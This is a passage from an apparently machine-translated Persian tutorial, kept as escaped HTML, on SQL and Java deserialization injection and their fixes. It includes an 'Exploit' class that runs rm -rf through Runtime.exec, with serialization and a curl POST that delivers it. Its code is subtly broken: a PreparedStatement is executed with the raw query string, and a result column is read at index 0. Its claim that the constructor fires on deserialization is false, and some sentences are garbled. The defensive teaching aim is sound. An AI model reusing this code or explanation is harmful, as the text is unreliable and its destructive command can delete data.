\u0628\u0648\u062f.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code>    <span class=\"kd\">public<\/span> <span class=\"nc\">List<\/span> <span class=\"nf\">findUsers<\/span><span class=\"o\">(<\/span><span class=\"nc\">String<\/span> <span class=\"n\">user<\/span><span class=\"o\">,<\/span> <span class=\"nc\">String<\/span> <span class=\"n\">pass<\/span><span class=\"o\">)<\/span> <span class=\"kd\">throws<\/span> <span class=\"nc\">Exception<\/span> <span class=\"o\">{<\/span>\n       <span class=\"nc\">String<\/span> <span class=\"n\">query<\/span> <span class=\"o\">=<\/span> <span class=\"s\">\"SELECT userid FROM users WHERE username = ? AND password = ?\"<\/span><span class=\"o\">;<\/span>\n       <span class=\"k\">try<\/span> <span class=\"o\">(<\/span><span class=\"nc\">PreparedStatement<\/span> <span class=\"n\">statement<\/span> <span class=\"o\">=<\/span> <span class=\"n\">connection<\/span><span class=\"o\">.<\/span><span class=\"na\">prepareStatement<\/span><span class=\"o\">(<\/span><span class=\"n\">query<\/span><span class=\"o\">))<\/span> <span class=\"o\">{<\/span>\n           <span class=\"n\">statement<\/span><span class=\"o\">.<\/span><span class=\"na\">setString<\/span><span class=\"o\">(<\/span><span class=\"mi\">1<\/span><span class=\"o\">,<\/span> <span class=\"n\">user<\/span><span class=\"o\">);<\/span>\n           <span class=\"n\">statement<\/span><span class=\"o\">.<\/span><span class=\"na\">setString<\/span><span class=\"o\">(<\/span><span class=\"mi\">2<\/span><span class=\"o\">,<\/span> <span class=\"n\">pass<\/span><span class=\"o\">);<\/span>\n           <span class=\"nc\">ResultSet<\/span> <span class=\"n\">resultSet<\/span> <span class=\"o\">=<\/span> <span class=\"n\">statement<\/span><span class=\"o\">.<\/span><span class=\"na\">executeQuery<\/span><span class=\"o\">(<\/span><span class=\"n\">query<\/span><span class=\"o\">);<\/span>\n           <span class=\"nc\">List<\/span> <span class=\"n\">users<\/span> <span class=\"o\">=<\/span> <span class=\"k\">new<\/span> <span class=\"nc\">ArrayList<\/span><span class=\"o\">();<\/span>\n           <span class=\"k\">while<\/span> <span class=\"o\">(<\/span><span class=\"n\">resultSet<\/span><span class=\"o\">.<\/span><span class=\"na\">next<\/span><span class=\"o\">())<\/span> <span class=\"o\">{<\/span>\n               <span class=\"n\">users<\/span><span class=\"o\">.<\/span><span class=\"na\">add<\/span><span class=\"o\">(<\/span><span class=\"n\">resultSet<\/span><span class=\"o\">.<\/span><span class=\"na\">getString<\/span><span class=\"o\">(<\/span><span class=\"mi\">0<\/span><span class=\"o\">));<\/span>\n           <span class=\"o\">}<\/span>\n           <span class=\"k\">return<\/span> <span class=\"n\">users<\/span><span class=\"o\">;<\/span>\n       <span class=\"o\">}<\/span>\n    <span class=\"o\">}<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0642\u0648\u0627\u0646\u06cc\u0646 SonarQube \u0648 SonarCloud \u06a9\u0647 \u0628\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0632\u0631\u06cc\u0642 SQL \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u062f.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"%D8%AA%D8%B2%D8%B1%DB%8C%D9%82_%D8%AF%D8%B3%D8%B1%DB%8C%D8%A7%D9%84%DB%8C%D8%B2%D8%A7%D8%B3%DB%8C%D9%88%D9%86\"><\/span>\n<p>  \u062a\u0632\u0631\u06cc\u0642 \u062f\u0633\u0631\u06cc\u0627\u0644\u06cc\u0632\u0627\u0633\u06cc\u0648\u0646<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Deserialization \u0641\u0631\u0622\u06cc\u0646\u062f \u062a\u0628\u062f\u06cc\u0644 \u062f\u0627\u062f\u0647 \u0647\u0627 \u0627\u0632 \u06cc\u06a9 \u0642\u0627\u0644\u0628 \u0633\u0631\u06cc\u0627\u0644\u06cc (\u0645\u0627\u0646\u0646\u062f \u06cc\u06a9 \u062c\u0631\u06cc\u0627\u0646 \u0628\u0627\u06cc\u062a\u060c \u0631\u0634\u062a\u0647 \u06cc\u0627 \u0641\u0627\u06cc\u0644) \u0628\u0647 \u06cc\u06a9 \u0634\u06cc \u06cc\u0627 \u0633\u0627\u062e\u062a\u0627\u0631 \u062f\u0627\u062f\u0647 \u0627\u06cc \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0627 \u0622\u0646 \u06a9\u0627\u0631 \u06a9\u0646\u062f.<\/p>\n<p>\u06a9\u0627\u0631\u0628\u0631\u062f\u0647\u0627\u06cc \u0645\u062a\u062f\u0627\u0648\u0644 deserialization \u0634\u0627\u0645\u0644 \u062f\u0627\u062f\u0647 \u0647\u0627\u06cc\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u06cc\u0646 API \u0647\u0627 \u0648 \u0633\u0631\u0648\u06cc\u0633 \u0647\u0627\u06cc \u0648\u0628 \u0628\u0647 \u0634\u06a9\u0644 \u0633\u0627\u062e\u062a\u0627\u0631\u0647\u0627\u06cc JSON \u06cc\u0627 \u062f\u0631 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc \u0645\u062f\u0631\u0646 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 RPC (Remote Procedure Call) \u0628\u0647 \u0634\u06a9\u0644 \u067e\u06cc\u0627\u0645 \u0647\u0627\u06cc \u067e\u0631\u0648\u062a\u0648\u0628\u0627\u0641 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc \u0634\u0648\u062f.<\/p>\n<p>\u0627\u06af\u0631 \u0647\u06cc\u0686 \u06af\u0627\u0645\u06cc \u0628\u0631\u0627\u06cc \u067e\u0627\u06a9\u0633\u0627\u0632\u06cc \u06cc\u0627 \u0628\u0631\u0631\u0633\u06cc \u0627\u062c\u0631\u0627 \u0646\u0634\u0648\u062f\u060c \u062a\u0628\u062f\u06cc\u0644 \u0628\u0627\u0631 \u067e\u06cc\u0627\u0645 \u0628\u0647 \u06cc\u06a9 \u0634\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u062c\u062f\u06cc \u0631\u0627 \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code>   <span class=\"kd\">protected<\/span> <span class=\"kt\">void<\/span> <span class=\"nf\">doGet<\/span><span class=\"o\">(<\/span><span class=\"nc\">HttpServletRequest<\/span> <span class=\"n\">request<\/span><span class=\"o\">,<\/span> <span class=\"nc\">HttpServletResponse<\/span> <span class=\"n\">response<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n       <span class=\"nc\">ServletInputStream<\/span> <span class=\"n\">servletIS<\/span> <span class=\"o\">=<\/span> <span class=\"n\">request<\/span><span class=\"o\">.<\/span><span class=\"na\">getInputStream<\/span><span class=\"o\">();<\/span>\n       <span class=\"nc\">ObjectInputStream<\/span>  <span class=\"n\">objectIS<\/span>  <span class=\"o\">=<\/span> <span class=\"k\">new<\/span> <span class=\"nc\">ObjectInputStream<\/span><span class=\"o\">(<\/span><span class=\"n\">servletIS<\/span><span class=\"o\">);<\/span>\n       <span class=\"nc\">User<\/span> <span class=\"n\">user<\/span>                 <span class=\"o\">=<\/span> <span class=\"o\">(<\/span><span class=\"nc\">User<\/span><span class=\"o\">)<\/span> <span class=\"n\">objectIS<\/span><span class=\"o\">.<\/span><span class=\"na\">readObject<\/span><span class=\"o\">();<\/span>\n     <span class=\"o\">}<\/span>\n   <span class=\"kd\">class<\/span> <span class=\"nc\">User<\/span> <span class=\"kd\">implements<\/span> <span class=\"nc\">Serializable<\/span> <span class=\"o\">{<\/span>\n       <span class=\"kd\">private<\/span> <span class=\"kd\">static<\/span> <span class=\"kd\">final<\/span> <span class=\"kt\">long<\/span> <span class=\"n\">serialVersionUID<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">1L<\/span><span class=\"o\">;<\/span>\n       <span class=\"kd\">private<\/span> <span class=\"nc\">String<\/span> <span class=\"n\">name<\/span><span class=\"o\">;<\/span>\n\n       <span class=\"kd\">public<\/span> <span class=\"nf\">User<\/span><span class=\"o\">(<\/span><span class=\"nc\">String<\/span> <span class=\"n\">name<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n           <span class=\"k\">this<\/span><span class=\"o\">.<\/span><span class=\"na\">name<\/span> <span class=\"o\">=<\/span> <span class=\"n\">name<\/span><span class=\"o\">;<\/span>\n       <span class=\"o\">}<\/span>\n\n       <span class=\"kd\">public<\/span> <span class=\"nc\">String<\/span> <span class=\"nf\">getName<\/span><span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n           <span class=\"k\">return<\/span> <span class=\"n\">name<\/span><span class=\"o\">;<\/span>\n       <span class=\"o\">}<\/span>\n   <span class=\"o\">}<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0645\u06cc \u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0645\u0627 \u0627\u0632 \u0622\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u06cc\u0645 <code>objectIS<\/code>\u060c \u06cc\u06a9 \u0645\u0642\u062f\u0627\u0631 \u0645\u0633\u062a\u0642\u06cc\u0645 \u06a9\u0647 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u062f\u0631 \u062c\u0631\u06cc\u0627\u0646 \u0648\u0631\u0648\u062f\u06cc \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0645\u06cc \u0622\u06cc\u062f \u0648 \u0622\u0646 \u0631\u0627 \u0628\u0647 \u06cc\u06a9 \u0634\u06cc \u062c\u062f\u06cc\u062f \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc \u06a9\u0646\u062f.<br \/>\u0645\u0627 \u0627\u0646\u062a\u0638\u0627\u0631 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 \u0647\u0645\u06cc\u0634\u0647 \u06cc\u06a9\u06cc \u0627\u0632 \u06a9\u0644\u0627\u0633 \u0647\u0627\u06cc\u06cc \u0628\u0627\u0634\u062f \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u0627 \u0627\u0632 \u0622\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f. \u0645\u0637\u0645\u0626\u0646\u0627\u060c \u0645\u0634\u062a\u0631\u06cc \u0645\u0627 \u0647\u0631\u06af\u0632 \u0686\u06cc\u0632 \u062f\u06cc\u06af\u0631\u06cc \u0627\u0631\u0633\u0627\u0644 \u0646\u0645\u06cc \u06a9\u0646\u062f\u060c \u062f\u0631\u0633\u062a \u0627\u0633\u062a\u061f \u0622\u06cc\u0627 \u0622\u0646\u0647\u0627\u061f<\/p>\n<p>\u0627\u0645\u0627 \u0627\u06af\u0631 \u06cc\u06a9 \u06a9\u0644\u0627\u06cc\u0646\u062a \u0645\u062e\u0631\u0628 \u06a9\u0644\u0627\u0633 \u062f\u06cc\u06af\u0631\u06cc \u0631\u0627 \u062f\u0631 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f \u0686\u0647\u061f<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code>   <span class=\"kd\">public<\/span> <span class=\"kd\">class<\/span> <span class=\"nc\">Exploit<\/span> <span class=\"kd\">implements<\/span> <span class=\"nc\">Serializable<\/span> <span class=\"o\">{<\/span>\n       <span class=\"kd\">private<\/span> <span class=\"kd\">static<\/span> <span class=\"kd\">final<\/span> <span class=\"kt\">long<\/span> <span class=\"n\">serialVersionUID<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">1L<\/span><span class=\"o\">;<\/span>\n\n       <span class=\"kd\">public<\/span> <span class=\"nf\">Exploit<\/span><span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n           <span class=\"c1\">\/\/ Malicious action: Delete a file<\/span>\n           <span class=\"k\">try<\/span> <span class=\"o\">{<\/span>\n               <span class=\"nc\">Runtime<\/span><span class=\"o\">.<\/span><span class=\"na\">getRuntime<\/span><span class=\"o\">().<\/span><span class=\"na\">exec<\/span><span class=\"o\">(<\/span><span class=\"s\">\"rm -rf \/tmp\/vulnerable.txt\"<\/span><span class=\"o\">);<\/span>\n           <span class=\"o\">}<\/span> <span class=\"k\">catch<\/span> <span class=\"o\">(<\/span><span class=\"nc\">Exception<\/span> <span class=\"n\">e<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n               <span class=\"n\">e<\/span><span class=\"o\">.<\/span><span class=\"na\">printStackTrace<\/span><span class=\"o\">();<\/span>\n           <span class=\"o\">}<\/span>\n       <span class=\"o\">}<\/span>\n   <span class=\"o\">}<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u062f\u0631 \u0627\u06cc\u0646 \u062d\u0627\u0644\u062a\u060c \u06a9\u0644\u0627\u0633\u06cc \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0631\u0627 \u062f\u0631 \u0637\u0648\u0644 \u0633\u0627\u0632\u0646\u062f\u0647 \u067e\u06cc\u0634\u200c\u0641\u0631\u0636 \u062d\u0630\u0641 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u06a9\u0647 \u062f\u0631 \u0642\u0628\u0644\u06cc \u0627\u062a\u0641\u0627\u0642 \u0645\u06cc\u200c\u0627\u0641\u062a\u062f <code>readObject<\/code> \u062a\u0645\u0627\u0633 \u0628\u06af\u06cc\u0631\u06cc\u062f.<\/p>\n<p>\u0645\u0647\u0627\u062c\u0645 \u0641\u0642\u0637 \u0628\u0627\u06cc\u062f \u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u0631\u0627 \u0633\u0631\u06cc\u0627\u0644 \u06a9\u0631\u062f\u0647 \u0648 \u0628\u0647 API \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f:<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code>   <span class=\"nc\">Exploit<\/span> <span class=\"n\">exploit<\/span> <span class=\"o\">=<\/span> <span class=\"k\">new<\/span> <span class=\"nc\">Exploit<\/span><span class=\"o\">();<\/span>\n   <span class=\"nc\">FileOutputStream<\/span> <span class=\"n\">fileOut<\/span> <span class=\"o\">=<\/span> <span class=\"k\">new<\/span> <span class=\"nc\">FileOutputStream<\/span><span class=\"o\">(<\/span><span class=\"s\">\"exploit.ser\"<\/span><span class=\"o\">);<\/span>\n   <span class=\"nc\">ObjectOutputStream<\/span> <span class=\"n\">out<\/span> <span class=\"o\">=<\/span> <span class=\"k\">new<\/span> <span class=\"nc\">ObjectOutputStream<\/span><span class=\"o\">(<\/span><span class=\"n\">fileOut<\/span><span class=\"o\">);<\/span>\n   <span class=\"n\">out<\/span><span class=\"o\">.<\/span><span class=\"na\">writeObject<\/span><span class=\"o\">(<\/span><span class=\"n\">exploit<\/span><span class=\"o\">);<\/span>\n<span class=\"o\">...<\/span>\n<span class=\"err\">$<\/span> <span class=\"n\">curl<\/span> <span class=\"o\">-<\/span><span class=\"no\">X<\/span> <span class=\"no\">POST<\/span> <span class=\"o\">--<\/span><span class=\"n\">data<\/span><span class=\"o\">-<\/span><span class=\"n\">binary<\/span> <span class=\"nd\">@exploit<\/span><span class=\"o\">.<\/span><span class=\"na\">ser<\/span> <span class=\"nl\">http:<\/span><span class=\"c1\">\/\/vulnerable-api.com\/user<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u062e\u0648\u0634\u0628\u062e\u062a\u0627\u0646\u0647 \u06cc\u06a9 \u0631\u0627\u0647 \u0622\u0633\u0627\u0646 \u0628\u0631\u0627\u06cc \u0631\u0641\u0639 \u0627\u06cc\u0646 \u0645\u0634\u06a9\u0644 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f. \u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u062c\u0627\u062f \u0634\u06cc\u060c \u0628\u0627\u06cc\u062f \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0622\u06cc\u0627 \u06a9\u0644\u0627\u0633\u06cc \u06a9\u0647 \u0642\u0631\u0627\u0631 \u0627\u0633\u062a deserialized \u0634\u0648\u062f \u0627\u0632 \u06cc\u06a9\u06cc \u0627\u0632 \u0627\u0646\u0648\u0627\u0639 \u0645\u062c\u0627\u0632 \u0627\u0633\u062a \u06cc\u0627 \u062e\u06cc\u0631.<\/p>\n<p>\u062f\u0631 \u06a9\u062f \u0628\u0627\u0644\u0627\u060c \u06cc\u06a9 ObjectInputStream \u062c\u062f\u06cc\u062f \u0627\u06cc\u062c\u0627\u062f \u06a9\u0631\u062f\u0647\u200c\u0627\u06cc\u0645 \u06a9\u0647 \u0645\u062a\u062f \u00abresolveClass\u00bb \u0644\u063a\u0648 \u0634\u062f\u0647 \u0648 \u062d\u0627\u0648\u06cc \u0628\u0631\u0631\u0633\u06cc \u0646\u0627\u0645 \u06a9\u0644\u0627\u0633 \u0627\u0633\u062a. \u0645\u0627 \u0627\u0632 \u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u062c\u062f\u06cc\u062f\u060c SecureObjectInputStream\u060c \u0628\u0631\u0627\u06cc \u062f\u0631\u06cc\u0627\u0641\u062a \u062c\u0631\u06cc\u0627\u0646 \u0634\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u06cc\u0645. \u0627\u0645\u0627 \u0645\u0627 \u06cc\u06a9 \u0628\u0631\u0631\u0633\u06cc \u0644\u06cc\u0633\u062a \u0645\u062c\u0627\u0632 \u0631\u0627 \u0642\u0628\u0644 \u0627\u0632 \u062e\u0648\u0627\u0646\u062f\u0646 \u062c\u0631\u06cc\u0627\u0646 \u062f\u0631 \u06cc\u06a9 \u0634\u06cc (\u06a9\u0627\u0631\u0628\u0631) \u0627\u0636\u0627\u0641\u0647 \u0645\u06cc \u06a9\u0646\u06cc\u0645.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code> <span class=\"kd\">public<\/span> <span class=\"kd\">class<\/span> <span class=\"nc\">SecureObjectInputStream<\/span> <span class=\"kd\">extends<\/span> <span class=\"nc\">ObjectInputStream<\/span> <span class=\"o\">{<\/span>\n   <span class=\"kd\">private<\/span> <span class=\"kd\">static<\/span> <span class=\"kd\">final<\/span> <span class=\"nc\">Set<\/span> <span class=\"no\">ALLOWED_CLASSES<\/span> <span class=\"o\">=<\/span> <span class=\"nc\">Set<\/span><span class=\"o\">.<\/span><span class=\"na\">of<\/span><span class=\"o\">(<\/span><span class=\"nc\">User<\/span><span class=\"o\">.<\/span><span class=\"na\">class<\/span><span class=\"o\">.<\/span><span class=\"na\">getName<\/span><span class=\"o\">());<\/span>\n   <span class=\"nd\">@Override<\/span>\n   <span class=\"kd\">protected<\/span> <span class=\"nc\">Class<\/span> <span class=\"nf\">resolveClass<\/span><span class=\"o\">(<\/span><span class=\"nc\">ObjectStreamClass<\/span> <span class=\"n\">osc<\/span><span class=\"o\">)<\/span> <span class=\"kd\">throws<\/span> <span class=\"nc\">IOException<\/span><span class=\"o\">,<\/span> <span class=\"nc\">ClassNotFoundException<\/span> <span class=\"o\">{<\/span>\n     <span class=\"k\">if<\/span> <span class=\"o\">(!<\/span><span class=\"no\">ALLOWED_CLASSES<\/span><span class=\"o\">.<\/span><span class=\"na\">contains<\/span><span class=\"o\">(<\/span><span class=\"n\">osc<\/span><span class=\"o\">.<\/span><span class=\"na\">getName<\/span><span class=\"o\">()))<\/span> <span class=\"o\">{<\/span>\n       <span class=\"k\">throw<\/span> <span class=\"k\">new<\/span> <span class=\"nf\">InvalidClassException<\/span><span class=\"o\">(<\/span><span class=\"s\">\"Unauthorized deserialization\"<\/span><span class=\"o\">,<\/span> <span class=\"n\">osc<\/span><span class=\"o\">.<\/span><span class=\"na\">getName<\/span><span class=\"o\">());<\/span>\n     <span class=\"o\">}<\/span>\n     <span class=\"k\">return<\/span> <span class=\"kd\">super<\/span><span class=\"o\">.<\/span><span class=\"na\">resolveClass<\/span><span class=\"o\">(<\/span><span class=\"n\">osc<\/span><span class=\"o\">);<\/span>\n   <span class=\"o\">}<\/span>\n <span class=\"o\">}<\/span>\n<span class=\"o\">...<\/span>\n <span class=\"kd\">public<\/span> <span class=\"kd\">class<\/span> <span class=\"nc\">RequestProcessor<\/span> <span class=\"o\">{<\/span>\n   <span class=\"kd\">protected<\/span> <span class=\"kt\">void<\/span> <span class=\"nf\">doGet<\/span><span class=\"o\">(<\/span><span class=\"nc\">HttpServletRequest<\/span> <span class=\"n\">request<\/span><span class=\"o\">,<\/span> <span class=\"nc\">HttpServletResponse<\/span> <span class=\"n\">response<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n     <span class=\"nc\">ServletInputStream<\/span> <span class=\"n\">servletIS<\/span> <span class=\"o\">=<\/span> <span class=\"n\">request<\/span><span class=\"o\">.<\/span><span class=\"na\">getInputStream<\/span><span class=\"o\">();<\/span>\n     <span class=\"nc\">ObjectInputStream<\/span>  <span class=\"n\">objectIS<\/span>  <span class=\"o\">=<\/span> <span class=\"k\">new<\/span> <span class=\"nc\">SecureObjectInputStream<\/span><span class=\"o\">(<\/span><span class=\"n\">servletIS<\/span><span class=\"o\">);<\/span>\n     <span class=\"nc\">User<\/span> <span class=\"n\">input<\/span>                 <span class=\"o\">=<\/span> <span class=\"o\">(<\/span><span class=\"nc\">User<\/span><span class=\"o\">)<\/span> <span class=\"n\">objectIS<\/span><span class=\"o\">.<\/span><span class=\"na\">readObject<\/span><span class=\"o\">();<\/span>\n   <span class=\"o\">}<\/span>\n <span class=\"o\">}<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0642\u0648\u0627\u0646\u06cc\u0646 SonarCloud\/SonarQube \u0648 SonarLint \u06a9\u0647 \u0628\u0647 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0632\u0631\u06cc\u0642 deserialization \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062f\u0631 